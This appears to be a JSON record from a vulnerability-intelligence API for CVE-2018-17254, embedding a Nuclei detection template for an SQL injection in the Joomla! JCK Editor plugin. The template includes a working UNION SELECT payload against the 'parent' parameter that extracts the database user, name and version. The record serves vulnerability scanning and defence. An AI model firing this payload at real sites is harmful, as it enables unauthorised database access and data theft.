{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2018-17254/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2018-17254/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2018-17254/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2018-17254/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2018-17254/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2018-17254/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2018-17254"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2018-17254"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2018/CVE-2018-17254.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2018-17254\n\ninfo:\n  name: Joomla! JCK Editor SQL Injection\n  author: Suman_Kar\n  severity: critical\n  description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.\n  remediation: Update or remove the affected plugin.\n  reference:\n    - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html\n    - https://www.exploit-db.com/exploits/45423/\n    - https://github.com/Nickguitar/Joomla-JCK-Editor-6.4.4-SQL-Injection\n    - https://github.com/ARPSyndicate/cvemon\n    - https://github.com/ARPSyndicate/kenzer-templates\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2018-17254\n    cwe-id: CWE-89\n    epss-score: 0.82976\n    epss-percentile: 0.99675\n    cpe: cpe:2.3:a:arkextensions:jck_editor:6.4.4:*:*:*:*:joomla\\!:*:*\n  metadata:\n    max-request: 1\n    vendor: arkextensions\n    product: jck_editor\n    framework: joomla\\!\n  tags: cve,cve2018,packetstorm,edb,joomla,sqli,arkextensions,joomla\\!,vkev,vuln\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=\"%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),md5({{num}})),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1\n        Host: {{Hostname}}\n        Referer: {{BaseURL}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(num)}}'\n# digest: 4a0a00473045022100ad7bdb7acd1ebef7c870dd80a5fc2dc306def36021ba210defe8376e45c138420220653b34495dede39f74c5da4292d92b69c83f50d22b3e71ad85c58db64a71c774:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2018-17254"}